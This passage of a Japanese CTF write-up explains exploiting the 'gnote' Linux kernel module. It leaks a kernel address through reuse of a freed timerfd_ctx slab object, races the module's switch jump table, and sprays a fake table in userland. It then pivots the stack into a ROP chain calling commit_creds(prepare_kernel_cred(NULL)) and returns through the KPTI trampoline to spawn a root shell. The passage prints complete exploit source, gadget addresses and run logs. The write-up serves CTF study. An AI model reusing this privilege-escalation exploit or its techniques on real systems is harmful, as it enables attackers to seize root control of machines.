0xffff888000090770:	0xffffffff81637d6d	0xffff888000090878
0xffff888000090780:	0xffff888000090678	0xffff8880001592b8
0xffff888000090790:	0xffff8880001592a0	0xffffffff81825cc0
gdb-peda$ x/s 0xffffffff81637d6d
0xffffffff81637d6d:	"kmalloc-256"

 

使われるスラブは汎用スラブ"kmalloc-256"であることがわかった(これはサイズが0x100であったことと一致する)

 

 

つまり、writeハンドラに於いて0x100のサイズのノートを確保すればこの構造体と同じスラブからオブジェクトを確保することができることになる

 

割当処理は以上である

 


timerfd_release()とRCU

設置したタイマの解放はtimerfd_release()で行われる

static int timerfd_release(struct inode *inode, struct file *file)
{
	struct timerfd_ctx *ctx = file->private_data;

	timerfd_remove_cancel(ctx);

	if (isalarm(ctx))
		alarm_cancel(&ctx->t.alarm);
	else
		hrtimer_cancel(&ctx->t.tmr);
	kfree_rcu(ctx, rcu);
	return 0;
}

 

実際にはkfree_rcu()で解放される

kfree_rcu()は実際にはkfree_call_rcu()が直接呼ばれ、すぐに__call_rcu()が呼ばれる

RCUとは参考【9】に依ると

RCU ensures that reads are coherent by maintaining multiple versions of objects and ensuring that they are not freed up until all pre-existing read-side critical sections complete.

ということである

実際のLinuxではそれなりに複雑な処理をしているが、概念的・原理的に概略すると

あるデータを参照(readなど)する側でクリティカルセクションを設け、操作(freeなど)する側では操作の前に同期のための待機を行うというものである

では何を待機するかというと

the trick is that RCU Classic read-side critical sections delimited by rcu_read_lock() and rcu_read_unlock() are not permitted to block or sleep. Therefore, when a given CPU executes a context switch, we are guaranteed that any prior RCU read-side critical sections will have completed. This means that as soon as each CPU has executed at least one context switch, all prior RCU read-side critical sections are guaranteed to have completed, meaning that synchronize_rcu() can safely return.

ということである

クリティカルセクションではコンテクストスイッチが禁止されるため、同期時に操作側がスイッチをし、一周回って自分の番になったらばそれがCPUの全てのプロセスにおけるクリティカルセクションを終えたことを意味する

実際には割り込みなどもあり得るためここまで単純ではないが、理想的な場合の実装は以上のようになる

 

ということは実際にkfreeが完了するためにはコンテキストスイッチを一周させる必要がある

そのため、今回はsleep(some)することで待つこととする

 

 

 

 

さて、実際にtimerfd_ctxを利用してカーネルシンボルをリークできるか試してみる

テストプログラム test2

#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/timerfd.h>
#include<fcntl.h>
#include<stdio.h>

int main(void){
  int fd = open("/proc/gnote",O_RDWR);
  struct itimerspec timespec = { {0, 0}, {100, 0}};
  int tfd = timerfd_create(CLOCK_REALTIME, 0);
  unsigned add[2] = {0x1,0x100};
  unsigned select[2] = {0x5,0x0};
  char buf[256] = "AAAAAAAA";
  long long a;
  int b;

  timerfd_settime(tfd, 0, &timespec, 0);
  close(tfd); //triger kfree_rcu()
  sleep(1);
  write(fd,add,sizeof(add));
  sleep(1);
  write(fd,select,sizeof(select));
  sleep(1);
  b = read(fd,buf,100);
  printf("read bytes: %d\n",b);
  if(b<=0){
    printf("read failed\n");
    return 1;
  }
  printf("hex: \n");
  for(long long *ptr=buf;*ptr!=100/8;++ptr){
    a = *ptr;
    printf("0x%llx\n",a);
  }
  printf("\n");

  return 0;
}

test2の実行結果

/ # cd ./dbg
/dbg # ./test2
read bytes: 100
hex: 
0xd9479c22b3ccc8a4
0x0
0x0
0x1c7825f241
0x1c7825f241
0xffffffff812f06c0 <-- 注目
0xffff88800331ca80
0x0
0x0
0x0
0x0

出てきたアドレスが指すもの

gdb-peda$ x/i 0xffffffff812f06c0
   0xffffffff812f06c0 <timerfd_tmrproc>:	nop    DWORD PTR [rax+rax*1+0x0]

 

というわけでこれでkernel symbol、ここではtimerfd_tmrproc()のアドレスをリークすることができた

例えKASLRが有効でも_textの先頭からのoffsetは不変であるため、予め静的解析によってこのシンボルのoffsetを調べておけば

timerfd_tmrproc()のアドレス - そのoffset によってkernel_baseを求めることができる

 

 

実際に調べてみる

/ # cat /proc/kallsyms | grep _text
ffffffff81000000 T _text
/ # cat /proc/kallsyms | grep timerfd_tmrproc
ffffffff8115a2f0 t timerfd_tmrproc

timerfd_tmrproc()のkernel内のoffsetは0x15a2f0であることがわかった



なお自前ビルド環境下においては以下のようになった

/ # cat /proc/kallsyms | grep _text
ffffffffae200000 T _text
/ # cat /proc/kallsyms | grep timerfd_tmrproc
ffffffffae4f06c0 t timerfd_tmrproc
//diff=0x2F06C0

 

 




7: RIPを取る

さて、ここまででRIPを取るおおよその準備ができた

状況を整理する

 

gnote_write()のswitch文はジャンプテーブルを用いてジャンプする

その際に使われる[rbx]*8という値は、他スレッド中で[rbx]の値を変更するループを回すことで任意の値に設定することができる

SMEP有効であるからROPを組む必要があるのだが、そのためにはカーネルベースをリークする必要がある

そのために使用直後のkmalloc-256のスラブオブジェクトを確保してポインタをリークすることでカーネルのアドレスをリークできた

 

その続きを考えていく

ジャンプテーブルはモジュールの.bssセクションに置かれる

自作のfake-ジャンプテーブルはユーザランドのバッファに置く必要があるのだが

本問ではKASLRが一定であるため両者のオフセットは一定ではない

具体的に言うとKASLRではモジュールがロードされるアドレスの下4nibbleが一定であり、その次の3nibbleがrandomizeされる

 

この場合に目的のジャンプテーブルエントリを踏ませるため、"spray"という手法を用いる

これは言ってしまえば、ランダム化されることにより対象エントリが存在し得るアドレス全てに対してエントリを配置してしまうというものである

カーネルモジュールがロードされる最小アドレスは0xffffffffc0000000である

下4nibbleは不変であるため、0xffffffffc0000000~0xfffffffff0000000までで動き得る

よって0x1000~0x10001000までをmmap()でマッピングしその領域にジャンプエントリを置くことでKASLRの影響を無視することができるようになる

 

 

 

 

なおfakeのjmptableは0x1000~0x10001000までをマッピングするのだが

exploitプログラムのベースは通常で0x400b20でありfake jmptableのマッピングと重複してしまう

よってコンパイル時にリンカへのオプションとして

-Wl,--section-start=.note.gnu.build-id=0x40200200

を渡してロードアドレスを変えてやる

 

 

実際にこのsprayがうまく働くか試してみる

今回は試しにジャンプテーブルのあらゆる部分に0xffffffffc00020d0==gnote_read()のアドレスを置いている

そのため、正常にfakeのjmptableが機能していれば

カーネルパニックが起こる代わりにgnote_read()が呼ばれるはずである

#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/timerfd.h>
#include<fcntl.h>
#include<pthread.h>

#define FAKE "0x8000200"

void* thread_func(void* arg) {
//just repeat xchg $rbx $rax(==0x55555555)
    printf("...repeating xchg $rbx $0x55555555\n");
    asm volatile("mov $" FAKE ", %%eax\n"
                 "mov %0, %%rbx\n"
                 "lbl:\n"
                 "xchg (%%rbx), %%eax\n"
                 "jmp lbl\n"
                 :
                 : "r" (arg)
                 : "rax", "rbx"
                 );
    return 0;
}

int main(void){
  int fd = open("/proc/gnote",O_RDWR);
  struct itimerspec timespec = { {0, 0}, {100, 0}};
  int tfd = timerfd_create(CLOCK_REALTIME, 0);
  unsigned add[2] = {0x1,0x100};
  unsigned select[2] = {0x5,0x0};
  unsigned mal_switch[2] = {0x0,0x10001};
  char buf[256] = "AAAAAAAA";
  long long a,kernel_base;
  int b;

  timerfd_settime(tfd, 0, &timespec, 0);
  close(tfd); //triger kfree_rcu()
  sleep(1);
  write(fd,add,sizeof(add));
  sleep(1);
  write(fd,select,sizeof(select));
  sleep(1);
  b = read(fd,buf,100);
  printf("read bytes: %d\n",b);
  if(b<=0){
    printf("read failed\n");
    return 1;
  }
  a = ((long long*)buf)[5];
  kernel_base = a-0x2f06c0;
  printf("kernel _text base: 0x%llx\n",kernel_base);
  printf("\n");
  
  //////////////////
  #define MAP_SIZE 0x100000
  unsigned long *table = mmap((void*)0x1000, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  sleep(1);
  printf("*******************************\n***************************\n");
  printf("fake table: %p\n",table);
  printf("*******************************\n***************************\n");
  for(int j=0;j!=MAP_SIZE/8;++j){
    table[j] = 0xffffffffc00020d0; //gnote_read
  }

  printf("Into loop: push any key\n");
  fgetc(stdin);


  //////////////////
  pthread_t thr;
  pthread_create(&thr, 0, thread_func, &mal_switch[0]);

  for(int ix=0;ix!=100000;++ix){
    if(ix%0x100==0)
      printf("try :%d\n",ix);
    write(fd, mal_switch, sizeof(mal_switch));
  }

  return 0;
}

 

不正なテーブルに飛ばす前にgnote_read()にブレイクポイントを貼って回したところ

93000回目ほどのループでブレイクがかかった

つまり、仕掛けたfake jmptableの示す先にジャンプさせることに成功した

すなわち、RIPを取れたことになる

 

 

 




8: privilege acceleration

ここまででカーネルのベースアドレスがわかっており、しかも任意のアドレスにジャンプすることが可能になっている

 

root権限でシェルを開いてflagを読めるように、権限昇格: privilege accelerationをする必要がある

参考の【12/13】番目によると

commit_creds(prepare_kernel_cred(NULL));

をするとuid=0にすることができるようである

 

prepare_kernel_cred(NULL);

これは現在のtaskを他の存在するtaskのcredentialのもとで動作させるための関数であるらしい

credentialsが何を指すか詳しくは以下のドキュメントを参照

www.kernel.org

 

この場合は、uid/gid等のことを指していると考えて差し支えない

引数として、新しい代替のcredentialをもつtask_struct structureをとり、新しいcredential(cred structure)を返す

だが引数としてNULLを渡すと以下のような分岐がある

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);

deamonは引数として取った*task_structである

つまりこれにNULLを渡した時、init_credというタスク(initプロセス)のcredentialを獲得することになる

init_credは以下のように定義されている

struct cred init_cred = {
	.usage			= ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
	.subscribers		= ATOMIC_INIT(2),
	.magic			= CRED_MAGIC,
#endif
	.uid			= GLOBAL_ROOT_UID,
	.gid			= GLOBAL_ROOT_GID,
	.suid			= GLOBAL_ROOT_UID,
	.sgid			= GLOBAL_ROOT_GID,
	.euid			= GLOBAL_ROOT_UID,
	.egid			= GLOBAL_ROOT_GID,
	.fsuid			= GLOBAL_ROOT_UID,
	.fsgid			= GLOBAL_ROOT_GID,
	.securebits		= SECUREBITS_DEFAULT,
	.cap_inheritable	= CAP_EMPTY_SET,
	.cap_permitted		= CAP_FULL_SET,
	.cap_effective		= CAP_FULL_SET,
	.cap_bset		= CAP_FULL_SET,
	.user			= INIT_USER,
	.user_ns		= &init_user_ns,
	.group_info		= &init_groups,
};

すなわち、uid/gidがROOTのcredentialが返り値として返されることになる



commit_creds()

色々と処理はしているが、現在のtaskのcredentialを実際に書き換えるのは以下の部分

	rcu_assign_pointer(task->real_cred, new);
	rcu_assign_pointer(task->cred, new);

関数の最後で古いcredentialsは破棄されている

 

 

結局、prepare_kernel_cred(NULL)によってinitプロセスのcredentialsを獲得し

それをcommit_creds()に渡して現行のタスクに割り当てることで

initプロセスと同等の権限を獲得できるようになるということだ



ROPを組んでroot権限を取る

さて、以上でcommit_creds(prepare_kernel_cred(NULL));をすることで

initプロセスと同じ権限即ちroot権限をプロセスに与えることができることがわかった

以下ではその方法を考えていく

 

まずこのkernelはSMEP有効であるためユーザランドにRIPを持ってくることはできない

(先程fake jmptableをユーザランドに置いたことからも自明なようにSMAPは無効である)

そこでkernel中のgadgetを用いてROPをすることになる

commit_creds(prepare_kernel_cred(NULL))をするのに必要なことを細分化すると以下のようになる

・rdiにNULLをpush

・prepare_kernel_cred()を呼ぶ

・返り値(initプロセスのcred_struct)をrdiに移す

・commit_creds()を呼ぶ

 

それぞれに対応する、rp++を用いて探したgadgetは以下の通り

***自前環境の場合***

・0xffffffff8107ddf0: pop rdi; ret;

・0xffffffff810b1680: prepare_kernel_cred()

・0xffffffff8102d3af: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (mov rdi,rax;ret;だけのgadgetは見つからなかった)

・0xffffffff810b12a0: commit_creds()

 

 

だがROPをするにはこれらの値やpopする値を置いておくスタックが必要である

(勿論スタック自体はユーザランドに確保されているが、ここで必要なのはユーザランドの既知なアドレスに於いてあり好きに操作することができる空間である)

このスタックを確保するために、stack pivotという手法を用いる

 

まずjmptable経由で以下のgadgetにjmpする

0xffffffff81006e10: xchg eax, esp ; ret ;

jmptableを経由しているため、raxにはこのgadget自体のアドレスである0xffffffff81006e10が入っている

よってxchgの後にはespに0x81006e10が入ることになる

(32bit演算故に上位32bitは無視される)

 

すなわちこの近辺にスタック領域を確保しておけば、このエリアをスタックとして使用することが可能になる

なおrspではなくespを使用しているのは、0x81006e10がユーザ空間であり権限無しでmmapすることが可能だからである

上に述べたROPgadgetsはこのスタックに置いておくことになる

(なんかこの辺のテクニックはseccompをbypassするときの32bit空間へ移動する際のステージング?と似てる気が個人的にはした)

 

なお言わずもがなスタックは0x8byte alignされている必要があるため

使用するpivotのアドレスも0x8byte alignされているものを選ばなければならない




sysretqを利用してroot権限の状態でシェルを取る

ここまででroot権限を取ることはできた

 

今現在ユーザランドカーネルランドのどちらにいるのかを考えてみる

exploitプログラムに於いて/proc/gnoteにwrite()するまでは勿論ユーザランドにいたのだが

その後の処理はgnoteモジュールが行うことになる

カーネルモジュールはカーネルランドで実行されるため、fake-jmptableに飛び諸々のROPを行った現在はカーネルランドにいるということになる

 

カーネルの中にシェルを開いてくれるonegadgetはないため

exploitプログラムの中で定義したシェルを開いてくれる関数しておく必要があり

権限昇格をした後にはユーザランドに戻ってこの関数を実行する必要がある

 

そこで用いるのがsysretq命令である

この辺の説明については参考の【14】番目の記事が詳しい

重要な点だけ引用する

 

syscallのインストラクションをCPUが実行すると、大まかには以下のようなことが行われます。

  1. CPUの現在の実行モードを表すFLAGSレジスタの値をR11レジスタに退避させる
  2. FLAGSレジスタの値をIA32_FMASK MSRレジスタの値でマスクし、CPUがカーネルのコードを実行できるモードへと切り替わる
  3. プログラムカウンターレジスタRIPの値をRCXレジスタに退避させる
  4. プログラムカウンターレジスタRIPに、システムコールハンドラーのアドレスをIA32_LSTAR MSRレジスタから読み込み、システムコールハンドラーへジャンプする

 

上はsyscall命令の処理であり、sysretq命令では逆の処理が行われる

即ちRIPにRCXの値を、EFLAGSにR11の値を代入する処理が行われる

よってこの命令を行う前にRCX/R11の値を任意のものにしておけばsysretqを呼ぶことでRIPを任意のところに設定しつつユーザ空間に勝手に戻ってくれる

 

使用するgadgetは以下のとおりである

***自前環境の場合***

・0xffffffff81068534: sysretq

・0xffffffff815324e5: pop r11 ; ret ;

・0xffffffff81056ca3: pop rcx ; ret ;

 

 

 

 

9: KPTIに関してとsysretq周りのごたごたについて

sysretqでユーザ空間に戻ろうとしたところ

RIPをシェルを呼び出す関数まで持っていくことはできたし

レジスタの値もおおよそ正しそうであったのに

シェルを呼ぶ関数の1個めの命令を実行したところでセグフォが起きた

(ちなみにgdbでアタッチした状態だとセグフォじゃなくページフォルトが起き、ページフォルトの処理でもフォルトしてkernelが落ちた)

 

ということで参考の【13】番目のるくすさんの記事を参考にして

sysretqではなくiretqで返ることを試みた

だがこれも結局変わらずセグフォになってしまった

 

 

いろいろ調べてみた結果

参考【13】番のるくすさんの記事は2017年に書かれたものである

だがMeltdownの発見に伴うKPTI(Kernel Page Table Isolation)が実装されたカーネル ver4.15が2018年1月にリリースされた

それに伴い、ユーザ空間とカーネル空間で参照するページディレクトリが異なるようになった

具体的にはユーザ空間から見るとカーネル空間はマッピングされておらず

カーネル空間から見るとユーザ空間はマッピングこそされているものの、non-executableとしてマッピングされている

そのため記事のとおりにCS/SSを退避させた値に復元してユーザ空間の関数に戻っても、参照するページディレクトリが異なるためセグフォが起きてしまう

(kernelのページディレクトリから見ているためnon-executableを実行することになる)

 

(追記20200927: PTIについて)

従来、ユーザプロセス空間には48bit空間より上にカーネル空間がそのままマッピングされていた(48bit目がそのまま上位のビット全てにコピーされるから、ここでいう48bit空間とは0x7FFFFFFFFFFより上の空間のこと)。カーネル空間にPCが移った場合、カーネル空間用のページテーブルに切り替えることはなく、ユーザプロセスが使用していたCR3の値をそのまま使用していた。これは、CR3を切り替えることでTLBのそれまでのキャッシュが使えなくなることを避けるためである。しかしSpectreやMeltdownの発見により、前述したようにページディレクトリは2つに分けられることになった。ユーザ空間のテーブルにはカーネル空間はマッピングされておらず、カーネル空間のテーブルには両方がマッピングされている。

これを実際に確かめてみると以下のようになる。

f:id:smallkirby:20200927165429p:plain

PTIによってカーネル空間に入った後の処理でCR3が変化しているのが分かる

CR3の下3nibble以降を見てみると、カーネル空間に入った直後とカーネル空間に入って諸々の処理をした後で値が1変化していることが分かる。

(尚、カーネルの起動オプションに pti=on をつけないとPTIは有効にならなかった)

【追記終わり】

 

 

そこでswapgs/iretq(sysretq)をする前にor CR3, 0x1000をする必要がある

(CR3レジスタにはページディレクトリのアドレスが入っている。詳しくはwikipedia参照)

この処理を行ってくれるのが以下のswapgs_restore_regs_and_return_to_usermodeマクロである

 

GLOBAL(swapgs_restore_regs_and_return_to_usermode)
#ifdef CONFIG_DEBUG_ENTRY
	/* Assert that pt_regs indicates user mode. */
	testb	$3, CS(%rsp)
	jnz	1f
	ud2
1:
#endif
	POP_REGS pop_rdi=0

	/*
	 * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
	 * Save old stack pointer and switch to trampoline stack.
	 */
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp

	/* Copy the IRET frame to the trampoline stack. */
	pushq	6*8(%rdi)	/* SS */
	pushq	5*8(%rdi)	/* RSP */
	pushq	4*8(%rdi)	/* EFLAGS */
	pushq	3*8(%rdi)	/* CS */
	pushq	2*8(%rdi)	/* RIP */

	/* Push user RDI on the trampoline stack. */
	pushq	(%rdi)

	/*
	 * We are on the trampoline stack.  All regs except RDI are live.
	 * We can do future final exit work right here.
	 */

	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

	/* Restore RDI. */
	popq	%rdi
	SWAPGS
	INTERRUPT_RETURN

 

(おそらく)このマクロから生成されるアセンブラが以下のものである

0xffffffff81c00116 <+246>:    mov    %cr3,%rdi

   0xffffffff81c00119 <+249>: jmp    0xffffffff81c0014f <entry_SYSCALL_64+303>

   0xffffffff81c0011b <+251>: mov    %rdi,%rax

   0xffffffff81c0011e <+254>: and    $0x7ff,%rdi

   0xffffffff81c00125 <+261>: bt     %rdi,%gs:0x22856

   0xffffffff81c0012f <+271>: jae    0xffffffff81c00140 <entry_SYSCALL_64+288>

   0xffffffff81c00131 <+273>: btr    %rdi,%gs:0x22856

---Type  to continue, or q  to quit---

   0xffffffff81c0013b <+283>: mov    %rax,%rdi

   0xffffffff81c0013e <+286>: jmp    0xffffffff81c00148 <entry_SYSCALL_64+296>

   0xffffffff81c00140 <+288>: mov    %rax,%rdi

   0xffffffff81c00143 <+291>: bts    $0x3f,%rdi

   0xffffffff81c00148 <+296>: or     $0x800,%rdi

   0xffffffff81c0014f <+303>: or     $0x1000,%rdi

   0xffffffff81c00156 <+310>: mov    %rdi,%cr3

   0xffffffff81c00159 <+313>: pop    %rax

   0xffffffff81c0015a <+314>: pop    %rdi

   0xffffffff81c0015b <+315>: pop    %rsp

   0xffffffff81c0015c <+316>: swapgs 

   0xffffffff81c0015f <+319>: sysretq 

 

途中のjmpも考慮すると、先頭からの実行は以下の流れになる

0xffffffff81c00116 <+246>:    mov    %cr3,%rdi
0xffffffff81c0014f <+303>: or     $0x1000,%rdi

   0xffffffff81c00156 <+310>: mov    %rdi,%cr3

   0xffffffff81c00159 <+313>: pop    %rax

   0xffffffff81c0015a <+314>: pop    %rdi

   0xffffffff81c0015b <+315>: pop    %rsp

   0xffffffff81c0015c <+316>: swapgs 

   0xffffffff81c0015f <+319>: sysretq 

これによって参照するページディレクトリをユーザ空間のそれに変更することができ

セグフォすることなくちゃんとexecutableなページとして参照することができる

 

これでちゃんとページディレクトリをユーザランドのものに変更してユーザランドの関数を実行することができた

 

 

 

 

ちなみにちょっとした小話だが

この辺りの命令をobjdumpでみると次のようになった

4976861-ffffffff81c00143:	48 0f ba ef 3f       	bts    $0x3f,%rdi
4976862-ffffffff81c00148:	48 81 cf 00 08 00 00 	or     $0x800,%rdi
4976863-ffffffff81c0014f:	48 81 cf 00 10 00 00 	or     $0x1000,%rdi
4976864-ffffffff81c00156:	0f 22 df             	mov    %rdi,%cr3
4976865-ffffffff81c00159:	58                   	pop    %rax
4976866-ffffffff81c0015a:	5f                   	pop    %rdi
4976867-ffffffff81c0015b:	5c                   	pop    %rsp
4976868-ffffffff81c0015c:	ff 25 a6 9f 83 00    	jmpq   *0x839fa6(%rip)        # ffffffff8243a108 <pv_cpu_ops+0xe8>
4976869-ffffffff81c00162:	0f 1f 40 00          	nopl   0x0(%rax)
4976870-ffffffff81c00166:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
4976871-ffffffff81c0016d:	00 00 00 
4976872-
4976873-ffffffff81c00170 <__switch_to_asm>:
4976874-ffffffff81c00170:	55                   	push   %rbp

(最初の番号はgrepによるものである)

0xffffffff81c0015cにおける命令がgdbのそれと異なっている

gdbでこのバイトコードを見てみると

0xffffffff81c0015c <entry_SYSCALL_64+316>:    0x0f    0x01    0xf8    0x48    0x0f    0x07    0x0f    0x1f

 

やはり命令の解釈とか以前に、バイトコード自体が異なっている

おそらく文脈的にgdbのほうが正しいのだが・・・

 

 

 

10: exploitの手順まとめ

さて、ここまででexploitの手順は全て揃った

些か長い説明になった上に

あいだあいだにソースの説明などが入ったため冗長になってしまった

今一度exploitの手順をおさらいしておく

 

まずgnote_read()の脆弱性を利用して初期化されていない領域を読み込んだ

即ち、timerfd_ctx構造体として確保されていたkmalloc-256スラブからオブジェクトを再び確保することで、この構造体が含んでいた関数ポインタをleakしkernelのベースアドレスをleakした

 

次にgnote_write()のswitchには脆弱性があった

僅か1命令の間に[rbx]の値が別スレッドにて書き換えられていれば不正な位置をjmp tableとして扱うことができるようになる

 

そこでKASLRのゆらぎも考慮して可能性のあるユーザ空間の領域全てにjmp tableのエントリをsprayしておいた

SMEP有効故にユーザ空間にシェルコードを置いておくことはできないから、エントリにはpivotのアドレスを使う

これでESPがユーザ空間を指すようにし、ROPの準備をする

 

ROPではcommit_creds(kernel_prepare_cred(NULL));をすることでinitプロセスの権限を取得する

その後はRCX/R11の値を調整し、or cr3,0x1000; swapgs; sysretq; によってユーザ空間に戻る

最後にその状態でシェルを開けば終了である

 



なおfake jmptableとしてマッピングするアドレスは当初0x1000からを考えていたが
この部分をmmap()するとpermission deniedになるので
0x10000からの領域をmmap()することにした

(書き換える[RBX]の値を0x8000200にすることで簡単に対応できる)

 

 

 

 

11: exploit

自前環境でのオフセットを採用している

自前環境と配布環境ではそれ以外の差異はないため、オフセットさえ変更すれば配布環境にも使える

そんなに面倒なことではないが、力尽きたのとやる意味もないので省略する

なお以下のexploitは参考の【1】番目に殆どを依っているので悪しからず

 

//exploit1.c
//
//Makefile
//gcc ./exploit1.c -o exploit1 -static -pthread -Wl,--section-start=.note.gnu.build-id=0x40200200


#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/timerfd.h>
#include<fcntl.h>
#include<pthread.h>

#define FAKE "0x8000200"
  
unsigned long long user_cs,user_ss,user_rflags;


void* thread_func(void* arg) {
//just repeat xchg $rbx $rax(==0xFAKE)
    printf("...repeating xchg $rbx, \n");
    asm volatile("mov $" FAKE ", %%eax\n"
                 "mov %0, %%rbx\n"
                 "lbl:\n"
                 "xchg (%%rbx), %%eax\n"
                 "jmp lbl\n"
                 :
                 : "r" (arg)
                 : "rax", "rbx"
                 );
    return 0;
}

void get_shell(void)
{
  char *v[] = {"/bin/sh",0};
  execve(v[0],v,0);
}

static void save_state(void) {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" 		);
}

int main(void){
  int fd = open("/proc/gnote",O_RDWR);
  struct itimerspec timespec = { {0, 0}, {100, 0}};
  int tfd = timerfd_create(CLOCK_REALTIME, 0);
  unsigned add[2] = {0x1,0x100};
  unsigned select[2] = {0x5,0x0};
  unsigned mal_switch[2] = {0x0,0x10001};
  char buf[256] = "AAAAAAAA";
  unsigned long long a,kernel_base;
  int b;
  unsigned long long stack;

  unsigned long long f = 0xffffffff81000000; //kernel base when nokaslr
  unsigned long long pop_rdi = 0xffffffff8107ddf0-f;// pop rdi; ret;
  unsigned long long prepare = 0xffffffff810b1680-f;// prepare_kernel_cred()
  unsigned long long mov_rdi_rax = 0xffffffff8102d3af-f; //mov rdi, rax ; rep movsq ; pop rbp ; ret ;
  unsigned long long commit = 0xffffffff810b12a0-f; //commit_creds()
  unsigned long long pivot = 0xffffffff81006e10-f; //xchg eax, esp ; ret ;
  //unsigned long long sysretq = 0xffffffff81068534-f; //sysretq
  unsigned long long sysretq = 0xffffffff81c00116-f; //mov %r3,%rdi;or $0x1000,%rdi; pop rax; pop rdi; pop rsp; swapgs; sysretq;
  unsigned long long pop_r11 = 0xffffffff815324e5-f; //pop r11 ; ret ;
  unsigned long long pop_rcx = 0xffffffff81056ca3-f; // pop rcx ; ret ;
  //unsigned long long iretq = 0xffffffff8103552b-f; //iretq
  //unsigned long long swapgs = 0xffffffff810679b4-f;// swapgs  ; pop rbp ; ret
  unsigned long long* rop;

/*************************
 leak kernel base
************************/
  timerfd_settime(tfd, 0, &timespec, 0);
  close(tfd); //triger kfree_rcu()
  sleep(1);
  write(fd,add,sizeof(add));
  sleep(1);
  write(fd,select,sizeof(select));
  sleep(1);
  b = read(fd,buf,100);
  printf("read bytes: %d\n",b);
  if(b<=0){
    printf("read failed\n");
    return 1;
  }
  a = ((long long*)buf)[5];
  kernel_base = a-0x2f06c0;
  printf("kernel _text base: 0x%llx\n",kernel_base);
  printf("\n");

  
/**********************
 map fake jmptable pointing to pivot
**********************/
  #define MAP_SIZE 0x400000
  unsigned long long *table = mmap((void*)0x10000, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  if(table == -1){
    printf("fail: mapping jmp table: errno=%d\n",errno);
    exit(0);
  }
  sleep(1);
  printf("*******************************\n***************************\n");
  printf("fake table: %p ~ %p\n pointing to %p\n",table,table+MAP_SIZE,pivot+kernel_base);
  printf("*******************************\n***************************\n");
  printf("writing jmp entries into jmptable\n");
  for(int j=0;j!=MAP_SIZE/8;++j){
    if(j%0x1000==0)
      printf("     ~%p\n",0x10000+j*8);
    table[j] = pivot + kernel_base;
  }

/*********************
 map fake stack
**********************/
  stack = ((pivot + kernel_base)&0xffffffff);
  printf("stack @ %p ~ %p\n",(stack-0x10000)&~0xfff,((stack-0x10000)&~0xfff)+0x20000);
  mmap((stack-0x10000)&~0xfff,0x20000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  printf("get_shell @ %p\n",&get_shell);
  printf("*******************\n\n");
  
/********************
 save state
********************/
  save_state();


/******************
 place ROP gad
******************/
  rop = stack;
  *rop++ = pop_rdi + kernel_base;
  *rop++ = 0;
  *rop++ = prepare + kernel_base;
  *rop++ = mov_rdi_rax + kernel_base;
  *rop++ = 0; //because of mov_rdi_rax gadget containing "pop rbp"
  *rop++ = commit + kernel_base; //accelerate privilege
  
  *rop++ = pop_rcx + kernel_base;
  *rop++ = &get_shell;
  *rop++ = pop_r11 + kernel_base;
  *rop++ = 0x202;
  *rop++ = sysretq + kernel_base;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = stack;

/********************
 dive into loop and jmp to fake jmptable
*********************/

  printf("Into loop: push any key\n");
  fgetc(stdin);


  pthread_t thr;
  pthread_create(&thr, 0, thread_func, &mal_switch[0]);

  for(int ix=0;ix!=100000;++ix){
    if(ix%0x1000==0)
      printf("try :0x%x\n",ix);
    write(fd, mal_switch, sizeof(mal_switch));
  }

  return 0;
}







12: 結果

14375 ブロック
 ________  ________   ________  _________  _______ 
|\   ____\|\   ___  \|\   __  \|\___   ___\  ___ \     
\ \  \___|\ \  \ \  \ \  \|\  \|___ \  \_\ \   __/|    
 \ \  \  __\ \  \ \  \ \  \\  \   \ \  \ \ \  \_|/__  
  \ \  \|\  \ \  \ \  \ \  \\  \   \ \  \ \ \  \_|\ \ 
   \ \_______\ \__\ \__\ \_______\   \ \__\ \ \_______\ 
    \|_______|\|__| \|__|\|_______|    \|__|  \|_______|
    
    
    
/ $ whoami
whoami: unknown uid 1000
/ $ cat /flag
cat: can't open '/flag': Permission denied
/ $ ./dbg/exploit1
read bytes: 100
kernel _text base: 0xffffffffaf400000

*******************************
***************************
fake table: 0x10000 ~ 0x2010000
 pointing to 0xffffffffaf406e10
*******************************
***************************
writing jmp entries into jmptable
     ~0x10000
     ~0x18000
     ~0x20000
     ~0x28000
     ~0x30000
     ~0x38000
     ~0x40000
     ~0x48000
     ~0x50000
     ~0x58000
     ~0x60000
     ~0x68000
     ~0x70000
     ~0x78000
     ~0x80000
     ~0x88000
     ~0x90000
     ~0x98000
     ~0xa0000
     ~0xa8000
     ~0xb0000
     ~0xb8000
     ~0xc0000
     ~0xc8000
     ~0xd0000
     ~0xd8000
     ~0xe0000
     ~0xe8000
     ~0xf0000
     ~0xf8000
     ~0x100000
     ~0x108000
     ~0x110000
     ~0x118000
     ~0x120000
     ~0x128000
     ~0x130000
     ~0x138000
     ~0x140000
     ~0x148000
     ~0x150000
     ~0x158000
     ~0x160000
     ~0x168000
     ~0x170000
     ~0x178000
     ~0x180000
     ~0x188000
     ~0x190000
     ~0x198000
     ~0x1a0000
     ~0x1a8000
     ~0x1b0000
     ~0x1b8000
     ~0x1c0000
     ~0x1c8000
     ~0x1d0000
